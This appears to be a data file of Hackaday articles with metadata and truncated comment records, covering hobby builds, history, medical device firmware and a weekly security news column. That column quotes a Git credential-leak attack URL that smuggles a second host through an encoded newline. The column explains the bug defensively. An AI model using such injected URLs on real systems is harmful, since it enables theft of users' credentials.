Three cleverly color-coded potentiometers and an Arduino let [Thomas] step through 0-255 to mix various values of red, blue, and green. The shade that gets made is displayed live on a set of 10 individual NeoPixels that are laid out under a frosty diffusing panel. Each of the RGB values are also shown on an 16×2 LCD.
This is one of those projects that hits a sweet spot of being simple, useful, and fun. It’s even nice-looking and compact. What more could you want from a project cobbled together from ingredients on hand? [Thomas] is even giving away the code recipe.
Once you dial in your ideal colors, why not make
a gesture-controlled lamp? | 3 | 3 | [
{
"comment_id": "6238158",
"author": "Will",
"timestamp": "2020-04-17T23:29:00",
"content": "Good idea!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6238179",
"author": "ChipMaster",
"timestamp": "2020-04-18T03:48:03",
"content": "Cool! I did som... | 1,760,373,517.834681 | ||
https://hackaday.com/2020/04/17/perfect-wire-hose-clamps-with-a-simple-diy-tool/ | Perfect Wire Hose Clamps With A Simple DIY Tool | Danie Conradie | [
"Tool Hacks"
] | [
"diy tool",
"hose clamp",
"survival",
"wire"
] | Hose clamps have been around as long as we’ve been using flexible hoses. Usually, a clamp consists of a slotted metal strap, and a screw for tightening. Most of us know how quickly they slip when you want to add a bit more torque, or the frustration of not having the right size. Fortunately [Max Egorov] reminded us of
DIY wire clamps
(video after the break), an excellent alternative that is very effective, covers an infinite size range and is easy to make with a simple tool.
The wire clamp is in effect a doubled girth hitch, that is pulled tight with the ends bent over to keep the tension. [Max] shows you how to easily make your own clamper tool with basic tools and a few bits of steel. Making it as ornate as his one is definitely not required. You can also buy a commercial tool that is sold under the name ClampTite, which uses a leadscrew type design.
To achieve a tight seal with a hose clamp, the main requirement is constant pressure around its entire circumference. These wire clamps do this very well and are popular among aircraft mechanics, since flying in a plane with a leaky coolant or fuel hose could shorten your lifespan a bit. [Max] also demonstrates a variety of other uses for these including fixing tool handles and even building a ladder.
We love simple but effective tools like this, and we’ll definitely be adding one to our toolbox. Have you used these before? Let us know in the comments!
There is (almost) never such a thing as too many tools, and making your own is very satisfying. We’ve seen people build an outfit a
complete carpentry workshop using plywood
, and build
sheet metal press brake
with no welding.
Thanks [
Keith O
] for the tip! | 31 | 19 | [
{
"comment_id": "6238130",
"author": "The Gambler",
"timestamp": "2020-04-17T20:19:30",
"content": "Pretty much anyone who regularly works on boats owns this tool it is not long forgotten at all. Great tool and a great way to clamp hoses if you have not clamped them like this before. Not a hack, d... | 1,760,373,518.022562 | ||
https://hackaday.com/2020/04/17/contest-winners-machine-learning-on-all-kinds-of-gadgets/ | Contest Winners: Machine Learning On All Kinds Of Gadgets | Mike Szczys | [
"contests",
"Roundup"
] | [
"machine learning",
"Train All the Things",
"winners"
] | With nearly sixty exciting entries, the
Train All the Things contest
, presented in partnership with Digi-Key, has drawn to a close and today we are happy to share news of the winning projects. The challenge at hand was to show off a project using some type of Machine Learning and there were plenty of takes on this theme displayed.
Perhaps the most impressive project is the Intelligent Bat Detector by [
Tegwyn☠Twmffat
] which claims the “ML on the Edge” award. His project, seen above, seeks not only to detect the presence of bats through the sounds they make during echolocation, but to identify the type of bat as well. Having been through a number of iterations, the bat detector, based on
Nvidia Jetson Nano
and a Raspberry Pi, can classify several types of bats, and a set of house keys (for a “control”). It’s also been impeccably documented and serves as a great example of how to get into machine learning.
The Soldering LIghtsaber
takes the “ML Blinky” award for using machine learning in the microcontroller realm. This clever use of the concept seeks one thing: destroying the wait times for your soldering iron to heat up. It takes time to make temperature readings while the iron heats up, if you can do away with this step it speeds things up greatly. By sampling results of different voltages and heating times, machine learning establishes its own guidelines for how to pour electricity into the heating element without checking for feedback, and coming out the other side at the perfect temperature.
AI Powered Bulls*** Detector
Wearables Fitness Trackers for Mental Health
Rounding up our final two winners, the
AI Powered Bull**** Detector
claims the “ML on the Gateway” award, and
Hacking Wearables for Mental Health and More
which won in the “ML on the Cloud” category.
The idea behind our illuminated poop emoji project is to detect human speech and make a judgement on whether the comment is valid, or BS. It does this by leveraging a learning set of comments that have previously been identified as BS and making an association with the currently uttered words.
Wearables for mental health is a wonderful project that was
previously recognized in the 2018 Hackaday Prize
. Economies of scale have made these wearables quite affordable as a way to add a sensor suite to behavior analysis. But of course you need a way to process all of the sensor data, a perfect task for a cloud-based machine learning application.
All four winners received a $100 gift code to
Tindie
. Don’t forget to check out
all of the other interesting projects that were entered in this contest
! | 9 | 3 | [
{
"comment_id": "6238137",
"author": "Ren",
"timestamp": "2020-04-17T20:36:35",
"content": "“Perhaps the most impressive project is the Intelligent Bat Detector by [Tegwyn☠Twmffat] which claims the “ML on the Edge” award. His project, seen above,”The title photo looks more like something that charac... | 1,760,373,518.13137 | ||
https://hackaday.com/2020/04/17/how-can-heavy-metal-fly/ | How Can Heavy Metal Fly? | Jenny List | [
"chemistry hacks",
"Featured",
"History",
"Science"
] | [
"cathedral",
"glacier",
"history",
"lead",
"mining",
"smelting"
] | Scientists found a surprising amount of lead in a glacier. They were studying atmospheric pollution by sampling ice cores taken from Alpine glaciers. The surprising part is that they
found more lead in strata from the late 13th century
than they had in those deposited at the height of the Industrial Revolution. Surely mediaeval times were supposed to be more about knights in shining armour than dark satanic mills, what on earth was going on? Why was the lead industry in overdrive in an age when a wooden water wheel represented high technology?
The answer lies in the lead smelting methods used a thousand miles away from that glacier, and in the martyrdom of a mediaeval saint.
A Sort of Cathedralic Arms Race
The magnificent late-13th-century priory church at Chetwode, Buckinghamshire.
In 1170 the Archbishop of Canterbury,
Thomas Becket
, was assassinated in his cathedral by a group of knights said to be acting on an exhortation by King Henry the Second of England. This crime resulted in Becket’s canonisation, and ultimately in Henry’s embarking on an unprecedented programme of building and extending cathedrals, monasteries, and other religious institutions in penance for Beckett’s death. The effect can still be seen today in the ecclesiastical architecture across his former kingdom, and in the glacial deposits of the time.
It seems that lead production in the English uplands for all those church roofs caused a spike in lead pollution that exceeded that seen during the Industrial Revolution, and that this is clearly visible to the scientists in the ice all these years later. This is an interesting journey into the murky politics of the 13th century, but the question for Hackaday was just how can so much lead have been released by mining at a mediaeval scale, and then how can so much of it have been carried all the way across a continent by the weather?
From Cathedral Roof To Alpine Glacier
A sample of galena ore mined in Missouri, USA. Didier Descouens (
CC BY-SA 4.0
)
The most abundant lead ore is
galena
, lead sulphide, which can be readily smelted to retrieve metallic lead by heating in a fire or furnace. It’s a two-stage reaction in which the sulphur is first removed to leave lead oxide and sulphur dioxide, and then the resulting lead oxide is reduced in the presence of carbon from the fuel to form molten lead and carbon dioxide.
This ease of extraction means that it has been used by humans for millennia, anywhere with a ready supply of fuel and galena could easily support lead production. The mediaeval lead extraction was performed in a crude furnace referred to as a
bole smelter
, an open fire consisting of alternate layers of wood and ore, usually placed on high ground to take advantage of the wind, and surrounded by stone walls to funnel the wind into the fire. These smelters were extremely inefficient to the extent that their slag contained enough left-over lead to be profitably recovered in later centuries, and in that a significant quantity of lead vapour and dust escaped with their exhaust gasses. Their sites are often still polluted with lead residues after hundreds of years, and those exhaust gasses were toxic enough to poison local farm animals and the people working the smelters.
Part of the several-mile-long complex of horizontal lead smelting flues, Allendale, Northumberland. Oliver Dixon (
CC-BY-SA/2.0
)
In later centuries lead smelters with more efficient forced-air furnaces recovered much of the lead vapour and dust by building
very long horizontal flues
like the one shown here in which they could condense and be recovered. Their accounts contained estimates of the quantities on the walls of these flues at any one time, and could run into the hundreds of tons. Passing directly into the atmosphere though, the emissions from the 13th century smelters would have been carried into the upper atmosphere by the weather systems, and thus moved the thousand miles or so across Continental Europe to the Alpine glaciers. A modern parallel comes in sand from the Sahara in North Africa appearing in raindrops in Northern Europe, as any car owner from those regions will tell you when their vehicle is covered in dust by a rainstorm.
Our cultural imagination of mediaeval England from movie depictions is of castles, knights in shining armour, and probably a jolly peasantry in a bucolic countryside. The reality was one of grinding poverty and disease in a country much of whose landscape was still forested, so should it be so much of a shock to discover that in places it was exposed to pollution every bit as toxic and widespread as in later centuries? This industry didn’t just leave a trace on a scientist’s analysis of ice cores centuries later, it stripped away thousands of trees used for fuel and contributed to a profound change in the landscape. Something to bear in mind, should your tourism take you into the towering splendour of a lead-roofed mediaeval cathedral. | 18 | 5 | [
{
"comment_id": "6238087",
"author": "joelfinkle",
"timestamp": "2020-04-17T17:24:21",
"content": "My understanding is that a lot of the airborne lead (pre-gasoline) came from tin and silver smelting from the Roman age forward.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
... | 1,760,373,518.233242 | ||
https://hackaday.com/2020/04/17/hackaday-podcast-063-magnetic-gears-ai-green-screen-plasma/ | Hackaday Podcast 063: Magnetic Gears, AI Green Screen, Plasma <3 Sharpie, And A Rubbery Drivetrain | Mike Szczys | [
"Hackaday Columns",
"Podcasts"
] | [
"Hackaday Podcast"
] | Hackaday editors Mike Szczys and Elliot Williams sift for hacking gold from the past week. In this episode, we remember John Horton Conway’s Game of Life and its effect on novice programmers. We geek out adding screens to your car with an OBD-II hack, automating a Sharpie clicker as part of a plasma cutter, and 3D printing an incredible RC car that drives every wheel from a single motor. Plus we look at machine-learning for custom backgrounds in your video chats, take a gander at the coming generation of ePaper displays, and we get cultured about yeast.
Take a look at the links below if you want to follow along, and as always tell us what you think about this episode in the comments!
Take a look at the links below if you want to follow along, and as always, tell us what you think about this episode in the comments!
Direct download
(60 MB or so.)
Where to Follow Hackaday Podcast
Places to follow Hackaday podcasts:
iTunes
Spotify
Stitcher
RSS
YouTube
Check
out our Libsyn landing page
Episode 063 Show Notes:
New This Week:
John Horton Conway, Creator Of Conway’s Game Of Life, Has Died
Beyond Conway: Cellular Automata From All Walks Of Life
Interesting Hacks of the Week:
Simple Demo Shows The Potential Of Magnetic Gears
Ask Hackaday: What Are Magnetic Gears (Good For)?
LIDAR Built On Familiar Platform
ST App Note AN4846: Using multiple VL53L0X in a single design
A Tidy Little OBD Display For Your Car
Plasma Cutter + Sharpie Is Surprisingly Useful
The Evolution Of A 3D Printed Off-Road R/C Car
Video: front differential disassembly
Background Substitution, No Green Screen Required
Discover background subtraction and BMC
Quick Hacks:
Mike’s Picks:
Clever Suction For Robot Arm Automates Face Shield Production
Stitching Up Custom Belts
Planetary Gears Tell Time In This Ornamental Clock
Elliot’s Picks:
Capture Device Firmware Hack Unlocks All The Pixels
Reverse Engineering An RGB Keyboard Under Linux
Quieting Down A Bandoneon Accordion With MIDI
Can’t-Miss Articles:
Will 2020 (Finally) Be The Year Of Electronic Paper?
Sony DPT RP1 Digital Paper vs iPad Pro 12.9″ vs Kindle DX Comparison – YouTube
It’s Like Writing On Paper. It’s Not Paper – YouTube
Yeast Is A Hot Commodity; Brewing And Breadmaking During Lockdown
White Labs
Culture your own yeast
Rajotte
: The DIY Yeast Bible | 4 | 2 | [
{
"comment_id": "6238588",
"author": "Andres",
"timestamp": "2020-04-19T23:42:54",
"content": "There are podcasts i listen to to have some background noise, there are some others I listen to that allow me to have have another part of my brain active during medial tasks.This is not the case for this ... | 1,760,373,518.177689 | ||
https://hackaday.com/2020/04/17/getting-your-morning-mix-exactly-right-every-time/ | Getting Your Morning Mix Exactly Right, Every Time | Danie Conradie | [
"cooking hacks"
] | [
"3d printed",
"breakfast",
"food dispenser",
"mechanism"
] | In historical times, before the pandemic, most people had to commute to work in the mornings, and breakfast often ended up being a bit rushed. [Elite Worm] is very serious about getting his breakfast mix exactly right, and o shave a bit of time off the prep, he built a 3D printed
automatic ingredient dispenser
for his breakfast bowl.
[Elite Worm] breakfast consists of four ingredients, that have either a powder or granular consistency. They are held in 3D printed hoppers, with a screw top for refilling and a servo-operated door with a funnel at the bottom. The hoppers need to be shaken to properly dispense the ingredients, so all four are mounted on a bracket that can slide up and down on linear bearings. The shaking is done by a brushed DC motor with a slider-crank mechanism, which moves bracket and hoppers up and down very vigorously. [Elite Worm] notes that the shaking is probably a bit too violent and can make the entire table shake if it isn’t sturdy enough, and reducing the motor RPM might be a good idea. Below the hopper system sits a movable weighing station with a load cell, a custom ATmega328P based control board and a Nextion touch screen display, which allows for various ingredient combinations to be saved. The load cell is used to keep track of the ingredient quantities by weight, as they are dispensed one at a time.
We really like the ingenuity of the build, but personally, we would have swapped out the hopper for something that’s moulded, since all the crevices in 3D printed parts is a perfect place for bacteria to grow and can be tricky to clean properly
If you’re more a cereal person, we’ve
got a hack for that
, and how would like your
robotically prepared egg
? | 8 | 6 | [
{
"comment_id": "6238076",
"author": "Charles",
"timestamp": "2020-04-17T16:27:55",
"content": "This is cool. Maybe vibrations could be reduced simply by making it heavier. I assume that those legs are hollow.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "623... | 1,760,373,518.273492 | ||
https://hackaday.com/2020/04/17/this-week-in-security-git-patch-tuesday-anti-cheat-and-vulnerable-documentation/ | This Week In Security: Git, Patch Tuesday, Anti-Cheat, And Vulnerable Documentation | Jonathan Bennett | [
"Hackaday Columns",
"News",
"Security Hacks"
] | [
"COM",
"Git",
"This Week in Security",
"zoom"
] | Git released an update on Tuesday, fixing
an issue that could result in leaking credentials
. The vulnerability was in how Git handles an HTTP URL containing a newline. Looking at
the commits in 2.26.1
, we can find an example of an attack:
url = "https://one.example.com?%0ahost=two.example.com/foo.git"
So doing a
git pull
against this repository will connect your git instance to an attacker’s server, but using the credentials from an arbitrary server. It seems like this could potentially be used to steal Github credentials, for instance. So go make sure you have an updated Git client.
Commercial VPNs and Open Source
Commercial VPN providers are a dime-a-dozen these days, and they’re not all exactly reputable. Rather than report on the bad actors, today we’re looking at a provider who’s doing something right. IVPN has open-sourced their client software, and has gone through the process required to
get their Android client hosted on F-Droid
. F-Droid, by the way, is an open-source only 3rd party app store for Android. (
See my FLOSS Weekly interview for more info
.)
IVPN even has
plans to open-source their server-side software
. While having a fully open-source stack doesn’t absolutely guarantee good behavior by a provider, it goes a long way to demonstrate good intentions, and buys a lot of community goodwill.
Patch Tuesday
Remember the Windows 0-days we’ve talked about the last few weeks?
Patch Tuesday is finally here
, and three actively exploited bugs are finally getting fixed. Two of those flaws were RCEs in a DLL used to render fonts, and the third a local privilege escalation flaw in the Windows kernel.
Another important bug in Internet Explorer was fixed this week, too:
CVE-2020-0968
. This one is a remote execution bug that can be triggered simply by visiting a malicious page. In some places this is being called a 0-day, but Microsoft claims that they haven’t found evidence of it being exploited in the wild.
The last bit of related news is that the security researcher known as [SandboxEscaper]
is now working at Microsoft
, and is responsible for some of the bugs fixed in the last few months.
Anti-Cheat
Riot Games has rolled out
a new anti-cheat system, Vanguard
, for their recently released game, Valorant. Vanguard is apparently attracting some attention, as it installs a kernel-level driver as part of the anti-cheat measures. On one level, it’s understandable that a really robust anti-cheating solution needs more than just user-level system access. At the same time, a vulnerability in that driver means the entire system is exposed, not to mention the possibility of intentional misbehavior.
One could observe that the other ubiquitous anti-cheat solutions like BattlEye and EAC also use kernel drivers to function. (And as a result, have been a huge hindrance to running games on Linux through Wine.) I haven’t been able to confirm this, but word is that Vanguard is different in that it is always loaded, rather than only loading while the game is running. One humorous tidbit is that antivirus applications have a tendency to mark anti-cheat software as malicious applications.
Windows COM Vulnerability and Documentation
This vulnerability isn’t particularly dire, and is a few months old, but
the write-up just released, and has a really interesting wrinkle
. First, the Windows Component Object Model (COM) is essentially just part of the Windows API. (I know that’s not quite technically correct, but it’s a useful simplification for our purposes.) [Phillip Langlois] and [Edward Torkington] of nccgroup discovered a flaw in a COM interface related to program installations. By creating a symlink and then calling the vulnerable interface, an under-privileged user could trick the system into creating a readable copy of any file on the system.
As expected, Microsoft was responsive and pushed a patch fixing the issue within 90 days. Doing a followup check on vendor patches is always a good idea, and something strange was noticed — The original exploit still worked on a patched machine! After some decompiling and double-checking, the culprit turned out to be a Windows function, “GetFileAttributesW”. A quick check of the MSDN documentation shows that in the case of a symlink, this function returns information about the link instead of the target. In practice, however, the function was following the link and reporting on the target file.
Documentation is super important when tracking down security problems, and incorrect documentation can cause all sorts of headaches like this. This also highlights the importance of double-checking by actually running the code, rather than just depending on your understanding of the problem. And finally, if you report a security vulnerability that gets fixed, make sure to re-visit the issue to make sure it was actually fixed!
Odds and Ends
A Juniper virtual router image was accidentally
shipped with root level credentials
. While that’s obviously a problem, this isn’t nearly as bad as some of the previous stories we’ve covered. First off, this isn’t a hidden or unchangeable password, and it’s recommended to set the root password during initial setup. The other difference is that Juniper researchers found this issue themselves, and fixed it without any in-the-wild abuse. On the other hand, those credentials have been present in Juniper’s VM for 3 years.
Firefox 75 has been released, with
yet another set of bugs being fixed
. None of them have been found in the wild, but a couple bugs are considered high impact and likely to be exploitable. A new Firefox ESR release was also made,
fixing some of the same bugs
. That update has triggered both a
Tails update
and a
Tor browser update
.
Google Chrome has finally made their next release,
jumping to Chrome 81
. This contains 32 security fixes, with a handful of those being high importance fixes.
The next entry in “
Don’t Connect Your Management Interface to the Internet
” comes from Dell, as their iDRAC (integrated Dell Remote Access Controller) was just updated to fix a nasty buffer overflow flaw. This flaw is accessible without authentication, and could likely be used to execute arbitrary code.
Zoom just can’t catch a break, as the latest word is that a pair of exploits have been found,
one of which is on sale for a cool $500,000
. This exploit is a full RCE for Windows, while the other is a less useful Mac only flaw. | 8 | 4 | [
{
"comment_id": "6238046",
"author": "LordNothing",
"timestamp": "2020-04-17T14:17:41",
"content": "i have a theory that game devs are actually in cahoots with cheat software developers. sure the ban hammer comes down every now and again but im sure if i flashed a 5 or 6 figure check at a game compa... | 1,760,373,518.321879 | ||
https://hackaday.com/2020/04/17/dropping-a-glider-from-18000-feet/ | Dropping A Glider From 18,000 Feet | Richard Baguley | [
"Space"
] | [
"autonomous",
"drone",
"glider"
] | [Tarik and Kemal] have an objective in mind: to drop a home-made autonomous glider from a high-altitude balloon and safely return it to home. To motivate them, [Tarik] has decided not to cut his hair until they reach 18,000 feet. Given the ambition of their project, it isn’t surprising that his hair is getting rather long now.
While he grows increasingly hirsute, [Tarik] is working on the project from several angles, creating a device that will drop the 2.2 meters (7.2 feet) wide glider from the ballon using fishing line and nichrome wire. When the device reaches altitude, the nichrome wire is activated and heats up, melting the fishing line and dropping the glider. He has been testing this using a quadcopter at low altitude, with mixed results: often the glider falls in a nose-down profile, rushing into the ground at high speed. That might be less of an issue when they reach 18,000 feet, but from a quadcopter at 90 feet, it’s a problem.
[
Tarik
and
Kemal
] are taking a very honest and open approach to the project, documenting their missteps and failures in as much detail as their successes. That’s a commendable attitude, and they have made a lot of progress so far, creating a system that drops the glider in a more stable attitude and successfully landing several times.
Next, they want to start planning for a higher altitude launch, which means they need to look at controlled airspace and getting FAA permission to fly. So, they are looking for a partner who has a spaceport or something similar that they might be able to use. Does anybody want to help them out? | 37 | 11 | [
{
"comment_id": "6238013",
"author": "ThisGuy",
"timestamp": "2020-04-17T11:22:32",
"content": "They might want to contact TheRegister. Unfortunately the head boffin Lester Haines (RIP) has passed away, but they had a team working on releasing a rocket powered glider from high altitude, and had cont... | 1,760,373,518.547495 | ||
https://hackaday.com/2020/04/17/a-thermal-camera-with-a-vintage-twist/ | A Thermal Camera With A Vintage Twist | Moritz v. Sivers | [
"Raspberry Pi"
] | [
"Adafruit.IO",
"Raspberry Pi Zero W",
"thermal camera"
] | Nowadays we often value the superb design of vintage technology. It is, therefore, laudable when a broken piece of old electronics is given a new purpose. These types of builds are exactly [Martin Mander’s] cup of tea as he confirmed by
turning a 1979 Apollo microwave monitor into a thermal camera
(video embedded below).
Intrigued by its unique design, [Martin Mander] picked up the original microwave monitor at a secondhand sale, although the device
was not exactly in mint condition. Supposedly this type of detector was used to monitor the exposure of personnel to microwave radiation in an industrial environment.
After removing all the guts, he replaced them with a Raspberry Pi Zero W, Adafruit thermal camera, 1.3″ TFT display, and a USB battery pack. It is especially nice that [Martin Mander] was able to mount all the components without relying on 3D prints but instead, he hand-carved some custom panels and brackets from waste plastic.
The software is based on Python and automatically uploads the captured images to an
Adafruit.IO
dashboard. With 8 x 8 pixels the resolution of the sensor is not great but by using
bicubic interpolation
he was able to convert it to a 32 x 32 image which was enough to take some interesting pictures of his cat and other household items.
It is also worthwhile to check out some of [Martin Manders] other retro-tech mods like his
cassette Pi IoT scroller
.
https://youtu.be/1xjRJExzPR8 | 10 | 4 | [
{
"comment_id": "6238029",
"author": "Ostracus",
"timestamp": "2020-04-17T13:10:00",
"content": "And a new meme is born. Grumpy cat meet thermal cat.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6238041",
"author": "OMG",
"timestamp": "2020-04-17T13:... | 1,760,373,518.649361 | ||
https://hackaday.com/2020/04/15/cpap-firmware-hack-enables-bipap-mode-envisions-use-as-temporary-ventilator/ | CPAP Firmware Hack Enables BiPAP Mode; Envisions Use As Temporary Ventilator | Tom Nardi | [
"Medical Hacks"
] | [
"BiPAP",
"Covid-19",
"CPAP",
"medical devices",
"stm32",
"ventilator"
] | Operating under the idea that a Constant Positive Airway Pressure (CPAP) machine isn’t very far removed electrically or mechanically from a proper ventilator,
[Trammell Hudson] has performed some fascinating research
into how these widely available machines could be used as life support devices in an emergency situation. While the documentation makes it clear the project is a proof of concept and is
absolutely not intended for human use
in its current state, the findings so far are certainly very promising.
For the purposes of this research, [Trammell] has focused on the Airsense S10 which currently retails for around $600 USD. Normally the machine is used to treat sleep apnea and other disorders by providing a constant pressure on the lungs, but as this project shows, it’s also possible for the S10 to function in
what’s known as Bi-level Positive Airway Pressure (BiPAP) mode
. Essentially this means that the machine detects when the user is attempting to inhale, and increases the air pressure to support their natural breathing.
Reflashing the firmware on the S10 CPAP
Critically, this change is made entirely through modifications to the S10 firmware. No additional hardware is required, and outside of opening up the device to attach an STM32 programmer (a process which [Trammell] has carefully documented), there’s nothing mechanically that needs to be done to the machine for it to operate in this breathing support function. It seems at least some of the functionality was already included via hidden diagnostic menus which can be enabled through a firmware patch.
As many of these CPAP machines feature cellular data connections for monitoring and over-the-air updates, [Trammell] believes it should be possible for manufacturers to push out a similarly modified firmware on supported devices. Of course, the FDA would have to approve of something like that before the machines could actually be used as emergency, non-invasive ventilators. They would also need to have viral filters installed and some facility for remote control added, but those would be relatively minor modifications.
Learn more about the efforts being put into ventilators right now. Start with
this excellent hardware overview called Ventilators 101
and then take a look at some of the issues with
trying to build a ventilator from scratch
. | 16 | 8 | [
{
"comment_id": "6237473",
"author": "Khordas",
"timestamp": "2020-04-15T16:24:41",
"content": "As with so many devices, it’s easier for the manufacturer to make one base model, nerf most of the features, then charge more to un-nerf them. Multimeters, oscilliscopes, and now cpap machines.For the me... | 1,760,373,518.600232 | ||
https://hackaday.com/2020/04/15/nintendo-switch-built-completely-from-replacement-parts/ | Nintendo Switch Built Completely From Replacement Parts | Jenny List | [
"Nintendo Hacks"
] | [
"home made console",
"Nintendo Switch",
"spare parts"
] | It seems that everybody around us is playing Animal Crossing New Horizons, and we’re not alone in this. But a new Nintendo Switch can’t be had for love nor money, and second hand ones have fallen victim to price gouging. It seems if
you’re
not playing the game, you’re out of luck, or are you?
What’s to be done? [Sarbaaz37] found the hardware hacker’s solution to that question:
Build a Nintendo Switch entirely from spare parts
, of course! It took a month to source the parts and it’s not a project for the fainthearted, but it provides us with a look at all the parts they pack into the handheld. All told, there’s about 22 part numbers in the bill of materials.
Anyone who has peeked inside a laptop recently will be familiar with the arrangement of this type of device. An array of extremely snug-fitting and fragile electronics laid out like a TV dinner has to be carefully assembled in a specific order and this is no different. Along the way [Sarbaaz37] has some pro tips, like cleaning off the stock thermal compound and using a higher quality. The eventual result is a working Switch, which for $200 is not a bad deal, though they do note that the pandemic has since led to a price rise in Nintendo parts as well as consoles.
This is, we think, the first home-made Switch we’ve seen, but it’s not the first desirable piece of consumer electronics made from grey market parts we’ve seen. Who could forget
the Shenzhen electronics markets adventure of sourcing all the parts that go into an iPhone
?
Thanks [Roel] for the tip. | 20 | 9 | [
{
"comment_id": "6237477",
"author": "Scott",
"timestamp": "2020-04-15T16:59:05",
"content": "Or put in an alert at nowinstock.net, and a month later, get an ACNH edition Switch from Amazon for $299. Assembling one from parts does look like a fun endeavor, though.",
"parent_id": null,
"depth... | 1,760,373,518.789007 | ||
https://hackaday.com/2020/04/15/the-smallest-large-display-is-projected-straight-onto-your-retina/ | The Smallest Large Display Is Projected Straight Onto Your Retina | Maya Posch | [
"Featured",
"Interest",
"Laser Hacks",
"Portable Video Hacks",
"Science",
"Slider"
] | [
"ar",
"augmented reality",
"BML500P",
"head-up display",
"hud",
"virtual retinal display",
"vrd"
] | For most of human history, the way to get custom shapes and colors onto one’s retinas was to draw it on a cave wall, or a piece of parchment, or on paper. Later on, we invented electronic displays and used them for everything from televisions to computers, even toying with displays that gave the illusion of a 3D shape existing in front of us. Yet what if one could just skip this surface and draw directly onto our retinas?
Admittedly, the thought of aiming lasers directly at the layer of cells at the back of our eyeballs — the delicate organs which allow us to see — likely does not give one the same response as you’d have when thinking of sitting in front of a 4K, 27″ gaming display to look at the same content. Yet effectively we’d have the same photons painting the same image on our retinas. And what if it could be an 8K display, cinema-sized. Or maybe have a HUD overlay instead, like in video games?
In many ways, this concept of
virtual retinal displays
as they are called is almost too much like science-fiction, and yet it’s been the subject of decades of research, with increasingly more sophisticated technologies making it closer to an every day reality. Will we be ditching our displays and TVs for this technology any time soon?
A Complex Solution to a Simple Question
The Mark I
human eye
is a marvel produced through evolutionary processes over millions of years. Although missing a few bug fixes that were included in the
cephalopod eye
, it nevertheless packs a lot of advanced optics, a high-density array of
photoreceptors
, and super-efficient signal processing hardware. Before a single signal travels from the optic nerve to the brain’s visual cortex, the neural network inside the eye will have processed the incoming visual data to leave just the important bits that the visual cortex needs.
The basic function of the eye is to use its optics to keep the image of what is being looked at in focus. For this it uses a ring of smooth muscle called the
ciliary muscle
to change the shape of the lens, allowing the eye to change its focal distance, with the iris controlling the amount of light that enters the eye. This enables the eye to focus the incoming image onto the
retina
so that the area with the most photorecepters (the
fovea centralis
) is used for the most important thing in the scene (the focus), with the rest of the retina used for our peripheral vision.
Layers of the human retina (from Gray’s ‘Anatomy of the Human Body’)
The simple question when it comes to projecting an image onto the retina thus becomes: how to do this in a way that plays nicely with the existing optics and focusing algorithms of the eye?
Giving the Virtual a Real Place
In the naive and simplified model of virtual retinal display technology, three lasers (red, green and blue, for a full-color image) scan across the retina to allow the subject to perceive an image as if its photons came from a real life object. As we have however noted in the previous section, this is not what we’re working with in reality. We cannot directly scan across the retina, as the eye’s lens will diffract the light, a diffraction that changes as the eye adjusts its focal length.
The only part of the retina that we’re interested in is also the fovea, as it is the only section of the retina where there is a dense cluster of cones (the photoreceptors capable of sensing the frequency of light, i.e. color). The rest of the retina is only used for peripheral vision, with mostly (black and white sensing) rods and very few cones. To get clearly identifiable images projected onto a retina, we have a 1.5 mm wide fovea, with the 0.35 mm in diameter
foveola
providing the best visual acuity.
Hitting this part of the retina requires that the subject either consciously focuses on the projected image in order to perceive it clearly, or adjust for the focal distance of the eye at any given time. After all, to the eye all photons are assumed to come from a real-life object, with a specific location and distance. Any issues with this process can result in eyestrain, headaches and worse, as we have seen with tangentially related technologies such as 3D movies in cinemas as well as virtual reality systems.
Smart Glasses: Keeping Things Traditional
Schematic overview of a Google Glass LCoS-based projection unit.
Most people are probably aware of head-mounted displays, also called ‘smart glasses’. What these do is create a similar effect to what can be accomplished with virtual retinal display technology, in that they display images in front of the subject’s eyes. This is used for applications like
augmented (mixed) reality
, where information and imagery can be super-imposed on a scene.
Google made a bit of a splash a few years back with their
Google Glass
smart glasses, which use special,
half-silvered mirrors
to guide the projected image into the subject’s eyes. Like the later Enterprise versions of Google Glass, Microsoft is targeting their
HoloLens
technology at the professional and education markets, using combiner lenses to project the image on the tinted visor, similarly to how head-up displays (
HUDs
) in airplanes work.
The Magic Leap One AR smart glasses (Credit: iFixit)
Magic Leap’s
Magic Leap One
uses
waveguides
that allow an image to be displayed
in front of the eye
, on different focal planes, akin to the technology used in third generation HUDs. Compared to the more futuristic looking HoloLens, these look more like welding goggles. Both the HoloLens and Magic Leap One are capable of full AR, whereas the Google Glass
lends itself more as a basic HUD
.
Although smart glasses have their uses, they’re definitely not very stealthy, nor are most of them suitable for outdoor use, especially during sunny weather and hot summer weather. It would be great if one could skip the cumbersome head strap and goggles or visor. This is where virtual retinal displays (VDRs) come into play.
Painting with Lasers and Tiny Mirrors
Naturally, the very first question that may come to one’s mind when hearing about VDRs is why it’s suddenly okay to shine not one but three lasers into your eyes? After all, we have been told to never, not even once, point even the equivalent of a low-powered laser pointer at a person, let alone straight at their eyes. Some may remember the
2014 incident at the Burning Man festival
where festival goers practically destroyed the sight of a staff member with handheld lasers.
The BML500P prototype. (Credit: Evan Ackerman/IEEE Spectrum)
The answer to these concerns is that
very low-powered lasers are used
. Enough to draw the images, not enough to do more than cause the usual wear and tear from using one’s eyes to perceive the world around us. As the light is projected straight onto the retina, there is no image that can become washed out in bright sunlight. Companies
like Bosch have prototypes
of VRD glasses, with the latter recently showing off their
BML500P
Bosch Smartglasses Light Drive solution. They claim an optical output power of <15 µW.
Bosch’s solution uses RGB lasers with a
MEMS mirror
to direct the light into the subject’s pupil, and onto the retina. However, one big disadvantage of such a VRD solution is that it cannot just be picked up and used like one can with the previously mentioned smart glasses. As discussed earlier, VRDs need to precisely target the fovea, meaning that a VRD has to be adjusted to each individual user to work or else one will simply see nothing as the laser misses the target.
Much like the Google Glass solution, Bosch’s BML500P is mostly useful for HUD purposes, but over time this solution could be scaled up, with a higher resolution than the BML500P’s 150 line pairs and in a stereo version.
The Future is Bright
The cost of entry in the AR and smart glasses market at this point is still very steep. While Google Glass Enterprise 2 will set you back a measly $999 or so, HoloLens 2 costs $3,500 (and up), leading some to
improvise their own solution
using beam splitters dug out of a bargain bin at a local optics shop. Here too the warning of potentially damaging one’s eyes cannot be underestimated. Sending the full brightness of a small (pico)projector essentially straight into one’s eye can cause permanent damage and blindness.
There are also AR approaches that focus on specific applications, such as
tabletop gaming with Tilt Five’s solution
